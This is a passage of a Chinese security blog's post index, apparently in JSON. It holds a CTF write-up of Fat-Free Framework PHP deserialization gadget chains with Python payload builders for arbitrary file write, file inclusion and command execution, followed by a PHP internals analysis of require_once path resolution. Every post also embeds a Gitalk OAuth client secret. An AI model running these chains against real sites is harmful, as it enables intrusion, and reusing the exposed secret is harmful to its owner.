class=\"keyword\"\u003eclass\u003c/span\u003e \u003cspan class=\"title\"\u003eWS\u003c/span\u003e:\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"comment\"\u003e# call func with one param\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"function\"\u003e\u003cspan class=\"keyword\"\u003edef\u003c/span\u003e \u003cspan class=\"title\"\u003e__init__\u003c/span\u003e(\u003cspan class=\"params\"\u003eself, func, param\u003c/span\u003e):\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e @namespace(\u003cspan class=\"params\"\u003e\u003cspan class=\"string\"\u003e\u0026#x27;CLI\u0026#x27;\u003c/span\u003e\u003c/span\u003e)\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"class\"\u003e\u003cspan class=\"keyword\"\u003eclass\u003c/span\u003e \u003cspan class=\"title\"\u003eAgent\u003c/span\u003e():\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"class\"\u003e\u003cspan class=\"keyword\"\u003eclass\u003c/span\u003e \u003cspan class=\"title\"\u003eBase\u003c/span\u003e:\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e @namespace(\u003cspan class=\"params\"\u003e\u003cspan class=\"string\"\u003e\u0026#x27;DB\\\\Jig\u0026#x27;\u003c/span\u003e\u003c/span\u003e)\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"class\"\u003e\u003cspan class=\"keyword\"\u003eclass\u003c/span\u003e \u003cspan class=\"title\"\u003eMapper\u003c/span\u003e:\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e @namespace(\u003cspan class=\"params\"\u003e\u003cspan class=\"string\"\u003e\u0026#x27;DB\\\\SQL\u0026#x27;\u003c/span\u003e\u003c/span\u003e)\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"class\"\u003e\u003cspan class=\"keyword\"\u003eclass\u003c/span\u003e \u003cspan class=\"title\"\u003eMapper\u003c/span\u003e:\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e protected_props = \u0026#123;\u003cspan class=\"string\"\u003e\u0026#x27;read\u0026#x27;\u003c/span\u003e: func\u0026#125;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e protected_file = param\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e protected_db = Mapper()\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e events = \u0026#123;\u003cspan class=\"string\"\u003e\u0026#x27;disconnect\u0026#x27;\u003c/span\u003e: [Mapper(), \u003cspan class=\"string\"\u003e\u0026#x27;insert\u0026#x27;\u003c/span\u003e]\u0026#125;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e protected_server = Base()\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e self.a = Agent() \u003cspan class=\"comment\"\u003e# autoload\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e# payload: serialize(WS())\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch3 id=\"任意文件写\"\u003e任意文件写\u003c/h3\u003e\u003cfigure class=\"highlight python\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e@namespace(\u003cspan class=\"params\"\u003e\u003cspan class=\"string\"\u003e\u0026#x27;DB\u0026#x27;\u003c/span\u003e\u003c/span\u003e)\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"class\"\u003e\u003cspan class=\"keyword\"\u003eclass\u003c/span\u003e \u003cspan class=\"title\"\u003eJig\u003c/span\u003e:\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"comment\"\u003e# write file\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e lazy = \u003cspan class=\"literal\"\u003eTrue\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e data = \u0026#123;\u003cspan class=\"string\"\u003e\u0026#x27;frankli.php\u0026#x27;\u003c/span\u003e: \u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"string\"\u003e\u0026#x27;asdf\u0026#x27;\u003c/span\u003e: \u003cspan class=\"string\"\u003e\u0026#x27;\u0026lt;?php phpinfo();exit();?\u0026gt;\u0026#x27;\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u0026#125;\u0026#125;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003edir\u003c/span\u003e = \u003cspan class=\"string\"\u003e\u0026#x27;/tmp/\u0026#x27;\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eformat\u003c/span\u003e = \u003cspan class=\"number\"\u003e0\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch3 id=\"任意(存在的)文件包含\"\u003e任意(存在的)文件包含\u003c/h3\u003e\u003cp\u003e结合上面调用函数的链调用\u003ccode\u003e\\View-\u0026gt;render\u003c/code\u003e\u003c/p\u003e\u003cfigure class=\"highlight python\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"class\"\u003e\u003cspan class=\"keyword\"\u003eclass\u003c/span\u003e \u003cspan class=\"title\"\u003eView\u003c/span\u003e:\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"comment\"\u003e# arbitrary **exisiting** file inclusion\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"class\"\u003e\u003cspan class=\"keyword\"\u003eclass\u003c/span\u003e \u003cspan class=\"title\"\u003eBase\u003c/span\u003e:\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e TEMP = \u003cspan class=\"string\"\u003e\u0026#x27;/tmp/\u0026#x27;\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e UI = \u003cspan class=\"string\"\u003e\u0026#x27;/tmp/\u0026#x27;\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e fw = Base()\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eprint\u003c/span\u003e(ses.get(url, params=\u0026#123;\u003cspan class=\"string\"\u003e\u0026#x27;flag\u0026#x27;\u003c/span\u003e: serialize(\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e WS([View(), \u003cspan class=\"string\"\u003e\u0026#x27;render\u0026#x27;\u003c/span\u003e], \u003cspan class=\"string\"\u003e\u0026#x27;frankli.php\u0026#x27;\u003c/span\u003e))\u0026#125;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e).text)\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch3 id=\"wmctf的时候挖的rce链\"\u003ewmctf的时候挖的rce链\u003c/h3\u003e\u003cp\u003e结合上面调用函数的链调用\u003ccode\u003e\\Preview-\u0026gt;resolve\u003c/code\u003e\u003cbr\u003e然而这次\u003ccode\u003eresolve\u003c/code\u003e被删了\u003c/p\u003e\u003cfigure class=\"highlight python\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e@namespace(\u003cspan class=\"params\"\u003e\u003cspan class=\"string\"\u003e\u0026#x27;CLI\u0026#x27;\u003c/span\u003e\u003c/span\u003e)\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"class\"\u003e\u003cspan class=\"keyword\"\u003eclass\u003c/span\u003e \u003cspan class=\"title\"\u003eWS\u003c/span\u003e:\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e @namespace(\u003cspan class=\"params\"\u003e\u003cspan class=\"string\"\u003e\u0026#x27;CLI\u0026#x27;\u003c/span\u003e\u003c/span\u003e)\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"class\"\u003e\u003cspan class=\"keyword\"\u003eclass\u003c/span\u003e \u003cspan class=\"title\"\u003eAgent\u003c/span\u003e():\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"class\"\u003e\u003cspan class=\"keyword\"\u003eclass\u003c/span\u003e \u003cspan class=\"title\"\u003eF3\u003c/span\u003e:\u003c/span\u003e \u003cspan class=\"comment\"\u003e# 随便一个存在的类\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"class\"\u003e\u003cspan class=\"keyword\"\u003eclass\u003c/span\u003e \u003cspan class=\"title\"\u003ePreview\u003c/span\u003e:\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"class\"\u003e\u003cspan class=\"keyword\"\u003eclass\u003c/span\u003e \u003cspan class=\"title\"\u003eBase\u003c/span\u003e:\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e hive = \u0026#123;\u003cspan class=\"string\"\u003e\u0026#x27;node\u0026#x27;\u003c/span\u003e: \u003cspan class=\"string\"\u003ef\u0026#x27;\u0026lt;?php system(\u0026quot;ls\u0026quot;);die(1);?\u0026gt;\u0026#x27;\u003c/span\u003e\u0026#125;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e fw = Base()\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e events = \u0026#123;\u003cspan class=\"string\"\u003e\u0026#x27;disconnect\u0026#x27;\u003c/span\u003e: [Preview(), \u003cspan class=\"string\"\u003e\u0026#x27;resolve\u0026#x27;\u003c/span\u003e]\u0026#125;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e server = F3()\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e a = Agent()\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e入口点和上面函数调用的是一样的\u003c/p\u003e\u003cp\u003e分析没心情写了。。\u003c/p\u003e\u003cdiv id=\"gitalk-container\"\u003e\u003c/div\u003e\u003cscript src=\"https://cdn.bootcss.com/blueimp-md5/2.12.0/js/md5.min.js\"\u003e\u003c/script\u003e\u003clink rel=\"stylesheet\" href=\"https://unpkg.com/gitalk/dist/gitalk.css\"\u003e\u003cscript src=\"https://unpkg.com/gitalk/dist/gitalk.min.js\"\u003e\u003c/script\u003e\u003cscript\u003evar gitalkConfig = {\"clientID\":\"5955d155fe2ea768241e\",\"clientSecret\":\"f96bbda9ff434950217f24f7f9369f8b8de3b025\",\"repo\":\"frankli0324.github.io\",\"owner\":\"frankli0324\",\"admin\":[\"frankli0324\"],\"distractionFreeMode\":false}; gitalkConfig.id = md5(location.pathname);var gitalk = new Gitalk(gitalkConfig); gitalk.render(\"gitalk-container\"); \u003c/script\u003e\u003clink rel=\"stylesheet\" href=\"/css/spoiler.css\" type=\"text/css\"\u003e\u003cscript src=\"/js/spoiler.js\" type=\"text/javascript\" async\u003e\u003c/script\u003e","url":"https://blog.frankli.site/2020/08/21/Security/Writeup/fatfree%20POP/"},{"title":"PHP Lifecycle","time":"2020-08-13T16:00:00Z","content":"\u003ch2 id=\"PHP-生命周期\"\u003ePHP 生命周期\u003c/h2\u003e\n\n\u003cdiv id=\"gitalk-container\"\u003e\u003c/div\u003e\n\u003cscript src=\"https://cdn.bootcss.com/blueimp-md5/2.12.0/js/md5.min.js\"\u003e\u003c/\u003chr /\u003e\u003ch2 id=\"PHP-生命周期\"\u003ePHP 生命周期\u003c/h2\u003e\u003cdiv id=\"gitalk-container\"\u003e\u003c/div\u003e\u003cscript src=\"https://cdn.bootcss.com/blueimp-md5/2.12.0/js/md5.min.js\"\u003e\u003c/script\u003e\u003clink rel=\"stylesheet\" href=\"https://unpkg.com/gitalk/dist/gitalk.css\"\u003e\u003cscript src=\"https://unpkg.com/gitalk/dist/gitalk.min.js\"\u003e\u003c/script\u003e\u003cscript\u003evar gitalkConfig = {\"clientID\":\"5955d155fe2ea768241e\",\"clientSecret\":\"f96bbda9ff434950217f24f7f9369f8b8de3b025\",\"repo\":\"frankli0324.github.io\",\"owner\":\"frankli0324\",\"admin\":[\"frankli0324\"],\"distractionFreeMode\":false}; gitalkConfig.id = md5(location.pathname);var gitalk = new Gitalk(gitalkConfig); gitalk.render(\"gitalk-container\"); \u003c/script\u003e\u003clink rel=\"stylesheet\" href=\"/css/spoiler.css\" type=\"text/css\"\u003e\u003cscript src=\"/js/spoiler.js\" type=\"text/javascript\" async\u003e\u003c/script\u003e","url":"https://blog.frankli.site/2020/08/14/Security/php-src/PHP-Lifecycle/"},{"title":"PHP函数、Opcode与注册表","time":"2020-08-13T16:00:00Z","content":"\u003cp\u003e\u003ca href=\"https://blog.frankli.site/2020/08/05/WMCTF2020-PHP-source-analysis/\"\u003e上一篇\u003c/a\u003e需要一些基础知识。本篇blog除介绍这些基础知识外还会进行一些扩展,说一说PHP的其它内部原理。\u003c/p\u003e\u003chr /\u003e\u003cp\u003e\u003ca href=\"https://blog.frankli.site/2020/08/05/WMCTF2020-PHP-source-analysis/\"\u003e上一篇\u003c/a\u003e需要一些基础知识。本篇blog除介绍这些基础知识外还会进行一些扩展,说一说PHP的其它内部原理。\u003c/p\u003e\u003ch2 id=\"哈希表\"\u003e哈希表\u003c/h2\u003e\u003cp\u003ePHP在编写过程中大量使用了哈希表数据结构进行内部的处理。\u003cbr\u003eDJBX33A\u003c/p\u003e\u003cdiv id=\"gitalk-container\"\u003e\u003c/div\u003e\u003cscript src=\"https://cdn.bootcss.com/blueimp-md5/2.12.0/js/md5.min.js\"\u003e\u003c/script\u003e\u003clink rel=\"stylesheet\" href=\"https://unpkg.com/gitalk/dist/gitalk.css\"\u003e\u003cscript src=\"https://unpkg.com/gitalk/dist/gitalk.min.js\"\u003e\u003c/script\u003e\u003cscript\u003evar gitalkConfig = {\"clientID\":\"5955d155fe2ea768241e\",\"clientSecret\":\"f96bbda9ff434950217f24f7f9369f8b8de3b025\",\"repo\":\"frankli0324.github.io\",\"owner\":\"frankli0324\",\"admin\":[\"frankli0324\"],\"distractionFreeMode\":false}; gitalkConfig.id = md5(location.pathname);var gitalk = new Gitalk(gitalkConfig); gitalk.render(\"gitalk-container\"); \u003c/script\u003e\u003clink rel=\"stylesheet\" href=\"/css/spoiler.css\" type=\"text/css\"\u003e\u003cscript src=\"/js/spoiler.js\" type=\"text/javascript\" async\u003e\u003c/script\u003e","url":"https://blog.frankli.site/2020/08/14/Security/php-src/PHP-Registry-Mechanism/"},{"title":"WMCTF2020 PHP source analysis","time":"2020-08-04T16:00:00Z","content":"\u003cp\u003eWMCTF 2020中\u003ca href=\"https://zhaoj.in\"\u003e赵师傅\u003c/a\u003e出了一道PHP源码审计 \u003ccode\u003eMake PHP Great Again\u003c/code\u003e。\u003cbr\u003e\n比赛中没有做出来,非常遗憾。\u003c/p\u003e\n\u003cp\u003e作为一个赛后诸葛亮,趁着赵师傅还没发官\u003chr /\u003e\u003cp\u003eWMCTF 2020中\u003ca href=\"https://zhaoj.in\"\u003e赵师傅\u003c/a\u003e出了一道PHP源码审计 \u003ccode\u003eMake PHP Great Again\u003c/code\u003e。\u003cbr\u003e比赛中没有做出来,非常遗憾。\u003c/p\u003e\u003cp\u003e作为一个赛后诸葛亮,趁着赵师傅还没发官方分析,在此水一篇博客分析分析题目\u003c/p\u003e\u003ch2 id=\"什么事require-once\"\u003e什么事require_once\u003c/h2\u003e\u003cp\u003eas always,先看\u003ca href=\"https://www.php.net/manual/en/function.require-once.php\"\u003e文档\u003c/a\u003e\u003cbr\u003e\u003ccode\u003erequire_once\u003c/code\u003e在功能上与\u003ccode\u003erequire\u003c/code\u003e一致,只是对于任意文件都只会包含一次,而\u003ccode\u003erequire\u003c/code\u003e在正常情况下又与\u003ccode\u003einclude\u003c/code\u003e的功能一致。\u003cbr\u003e又到了日常骂文档的时间:\u003ccode\u003erequire_once\u003c/code\u003e的文档告诉我们要到\u003ccode\u003einclude_once\u003c/code\u003e的文档中查看\u003ccode\u003e_once\u003c/code\u003e的行为(\u003ccode\u003eSee the include_once documentation for information about the _once behaviour\u003c/code\u003e),而\u003ccode\u003einclude_once\u003c/code\u003e又说了几句废话带过去了(\u003ccode\u003eAs the name suggests, the file will be included just once.\u003c/code\u003e)。8愧事PHP\u003c/p\u003e\u003ch2 id=\"源码分析\"\u003e源码分析\u003c/h2\u003e\u003ch3 id=\"Entry\"\u003eEntry\u003c/h3\u003e\u003cp\u003e很多人会误以为require/include系列是函数,然而文档都写得很清楚了它们实际上是\u003ccode\u003estatement\u003c/code\u003e,语句,所以它们并没有通过\u003ccode\u003ePHP_FUNCTION\u003c/code\u003e宏注册于PHP的函数注册表中。这样的\u003ccode\u003estatement\u003c/code\u003e总共只有五个,分别是\u003ccode\u003einclude[_once]\u003c/code\u003e、\u003ccode\u003erequire[_once]\u003c/code\u003e与\u003ccode\u003eeval\u003c/code\u003e。\u003c/p\u003e\u003cp\u003e在\u003ccode\u003eZend/zend_vm_opcodes.h\u003c/code\u003e中我们可以找到,\u003ccode\u003erequire/include\u003c/code\u003e的opcode是73\u003c/p\u003e\u003cimg src=\"/2020/08/05/Security/php-src/WMCTF2020-PHP-source-analysis/opcode.png\" class=\"\" title=\"ZEND_INCLUDE_OR_EVAL\"\u003e\u003cp\u003e而在\u003ccode\u003eZend/zend_vm_def\u003c/code\u003e中我们可以看到\u003c/p\u003e\u003cimg src=\"/2020/08/05/Security/php-src/WMCTF2020-PHP-source-analysis/handler.png\" class=\"\" title=\"ZEND_VM_HANDLER\"\u003e\u003cp\u003e可以看到,这个handler的核心在于\u003ccode\u003ezend_include_or_eval\u003c/code\u003e,接下来我们就从这个函数开始进一步分析\u003c/p\u003e\u003ch3 id=\"zend-include-or-eval\"\u003ezend_include_or_eval\u003c/h3\u003e\u003cimg src=\"/2020/08/05/Security/php-src/WMCTF2020-PHP-source-analysis/resolve.png\" class=\"\" title=\"zend_resolve_path\"\u003e\u003cp\u003e\u003ccode\u003ezend_resolve_path\u003c/code\u003e是php API的一部分,也就是说是动态赋值的。\u003cbr\u003e很容易就会发现在\u003ccode\u003ezend_startup\u003c/code\u003e步骤中出现了\u003cbr\u003e\u003ccode\u003ezend_resolve_path = utility_functions-\u0026gt;resolve_path_function;\u003c/code\u003e\u003cbr\u003e这样的语句,交叉引用看到\u003ccode\u003emain.c\u003c/code\u003e中:\u003c/p\u003e\u003cfigure class=\"highlight cpp\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"function\"\u003e\u003cspan class=\"keyword\"\u003eint\u003c/span\u003e \u003cspan class=\"title\"\u003ephp_module_startup\u003c/span\u003e\u003cspan class=\"params\"\u003e(sapi_module_struct *sf, zend_module_entry *additional_modules, \u003cspan class=\"keyword\"\u003euint32_t\u003c/span\u003e num_additional_modules)\u003c/span\u003e\u003c/span\u003e\u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e zend_utility_functions zuf;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e ...\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e zuf.resolve_path_function = php_resolve_path_for_zend;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003ezend_startup\u003c/span\u003e(\u0026amp;zuf);\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e ...\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u0026#125;\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e最终找到\u0026quot;真正\u0026quot;的\u003ccode\u003ezend_resolve_path\u003c/code\u003e函数,然后再琢磨一会才能找到\u003ccode\u003etsrm_realpath_r\u003c/code\u003e,但是实际上这里正常的做法是动态调试。\u003cbr\u003e在\u003ccode\u003ezend_include_or_eval\u003c/code\u003e中下断点,下在\u003ccode\u003ezend_resolve_path\u003c/code\u003e处,单步进入,会发现实际上走到了\u003ccode\u003ephar_find_in_include_path\u003c/code\u003e,原因是phar拓展拦截了\u003ccode\u003ezend_resolve_path\u003c/code\u003e函数(装饰器设计模式)。不过没关系,我们还是fallback到了\u003ccode\u003ephp_resolve_path_for_zend\u003c/code\u003e。\u003c/p\u003e\u003cfigure class=\"highlight cpp\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e15\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e16\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e17\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003ePHP_MINIT_FUNCTION\u003c/span\u003e(phar)\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eREGISTER_INI_ENTRIES\u003c/span\u003e();\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e phar_orig_compile_file = zend_compile_file;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e zend_compile_file = phar_compile_file;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e phar_save_resolve_path = zend_resolve_path;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e zend_resolve_path = phar_resolve_path;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003ephar_object_init\u003c/span\u003e();\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003ephar_intercept_functions_init\u003c/span\u003e();\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003ephar_save_orig_functions\u003c/span\u003e();\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"built_in\"\u003ephp_register_url_stream_wrapper\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026quot;phar\u0026quot;\u003c/span\u003e, \u0026amp;php_stream_phar_wrapper);\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u0026#125;\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e跟啊跟,最终跟到\u003ccode\u003etsrm_realpath_r\u003c/code\u003e。但是\u003ccode\u003etsrm_realpath_r\u003c/code\u003e这么长不太想看怎么办?\u003cbr\u003e别忘了我们是在动态调试。让我们先看看执行的效果如何\u003c/p\u003e\u003cimg src=\"/2020/08/05/Security/php-src/WMCTF2020-PHP-source-analysis/noexception.png\" class=\"\" 